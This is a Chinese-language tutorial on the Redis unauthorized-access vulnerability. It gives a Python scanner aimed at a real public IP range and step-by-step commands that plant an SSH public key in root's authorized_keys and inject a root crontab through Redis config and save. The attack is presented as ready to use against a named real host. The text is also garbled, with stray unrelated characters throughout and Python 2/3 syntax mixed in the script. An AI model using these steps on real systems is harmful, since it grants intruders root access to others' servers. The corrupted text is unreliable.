1.什么是Redis
Redis 是一個(gè)開源的使用ANSI C語言編寫呻澜、Key-Value數(shù)據(jù)庫,并提供多種語言的API,所謂的KEY對(duì)Value指的是每一個(gè)Key都對(duì)應(yīng)一個(gè)value值。value也可以 是null始花。與memcached一樣,為了保證效率孩锡,數(shù)據(jù)都是緩存在內(nèi)存中酷宵。區(qū)別的是redis會(huì)周期性的把更新的數(shù)據(jù)寫入磁盤或者用戶可以自己手工輸 入save命令保存在服務(wù)器上,并且在此基礎(chǔ)上實(shí)現(xiàn)了master-slave(主從)同步躬窜。
2.Redis客戶端
Redis默認(rèn)安裝好默認(rèn)端口是6379
Redis默認(rèn)配置是不對(duì)外開放浇垦,也就是不允許外聯(lián),需要用戶手工修改/etc/redis/redis.conf
Redis默認(rèn)情況下是無需任何賬戶密碼進(jìn)行連接的
Redis安裝之后默認(rèn)會(huì)有一個(gè)叫 “redis-server”的服務(wù)端用于啟動(dòng)redis服務(wù)荣挨,啟動(dòng)命令“redis-server /etc/redis/redis.conf”
Redis安裝之后默認(rèn)還會(huì)有一個(gè)“redis-cli”的客戶端男韧,用于連接redis數(shù)據(jù)庫,可以自身連接也可以連接其它主機(jī)上的redis
redis-cli 客戶端命令
-h :指定要連接的主機(jī)IP或域名
-p :指定連接的端口
-a :指定密碼
-r :執(zhí)行指定的命令
-n :數(shù)據(jù)庫名
-x :將最后一個(gè)參數(shù)輸出為value
服務(wù)器操作命令
info:獲取redis以及服務(wù)器的基本信息
config get dir :獲取數(shù)據(jù)庫備份文件的路徑
config set dir /root :設(shè)置redis的備份路徑為/root默垄,如果提示沒權(quán)限說明你當(dāng)前無權(quán)限設(shè)置該目錄
config set dbfilename test :設(shè)置數(shù)據(jù)庫備份文件的名字
config get dbfilename :獲取數(shù)據(jù)庫備份的名字
save : 將數(shù)據(jù)庫的內(nèi)容備份到本地磁盤煌抒,默認(rèn)備份在安裝Redis的src目錄,名字為dump.rdb
3.漏洞利用過程
首先掃描出有漏洞的主機(jī)厕倍,運(yùn)行一下腳本可以掃描網(wǎng)段內(nèi)主機(jī)是否開啟6379端口,開啟的話再去驗(yàn)證是否有權(quán)限認(rèn)證
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
import redis
def portScanner(host,port):
try:
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
# print('[+]%s, %d open' % (host, port))
s.close()
return True
except:
# print('[-]%s, %d close' % (host, port))
return False
def ip2num(ip):
ip=[int(x) for x in ip.split('.')]
return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3]
def num2ip(num):
return '%s.%s.%s.%s' %( (num & 0xff000000) >>24,
(num & 0x00ff0000) >>16,
(num & 0x0000ff00) >>8,
num & 0x000000ff )
def get_ip(ip):
start,end = [ip2num(x) for x in ip.split('-') ]
return [ num2ip(num) for num in range(start,end+1) if num & 0xff ]
def main():
setdefaulttimeout(1)
iplist = get_ip('119.29.0.0-119.29.255.255')
for i in iplist:
if portScanner(i, 6379):
try:
r = redis.Redis(host = i, port = 6379, db = 0)
r.set('redis-t', '0xff000000')
print r
except:
print "NOAUTH Authentication required."
if __name__ == '__main__':
main()
得到掃描后的主機(jī)信息后贩疙,即可直接登陸redis數(shù)據(jù)庫
redis-cli -h 119.29.9.133
然后ssh-keygen –t rsa -f filename 生成公私鑰
將私鑰放在~/.ssh下命名為id_rsa讹弯,將公鑰設(shè)置為目標(biāo)數(shù)據(jù)庫的一個(gè)鍵
(echo -e "\n\n"; cat filename.pub; echo -e "\n\n") > key.txt
這條命令的含義是將id_rsa.pub的內(nèi)容輸出到key.txt,前后各加上兩行空行这溅,防止出錯(cuò)
cat key.txt | redis-cli -h 119.29.9.133 -x set crackit
這條命令的意思是連接目標(biāo)119.29.9.133的redis组民,通過-x參數(shù)將key.txt 設(shè)置為 key “crackit” 的value
然后首先判斷是否有/root/.ssh,如果有直接將dbfilename設(shè)為authorized_keys悲靴,然后將密鑰存進(jìn)去即可
如果沒有在判斷服務(wù)器是否安裝crontab臭胜,利用crontab來創(chuàng)建文件/root/.ssh
echo -e "\n\n*/1 * * * * /bin/mkdir ~/.ssh \n\n"|redis-cli -h 127.0.0.1 -x set 2
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
redis-cli -h 127.0.0.1 config set dbfilename root
redis-cli -h 127.0.0.1 save
如果這兩步都失敗就可以放棄了
參考文章:http://blog.nsfocus.net/redis-unauthorized-ssh-free-password-vulnerabilities-fixes/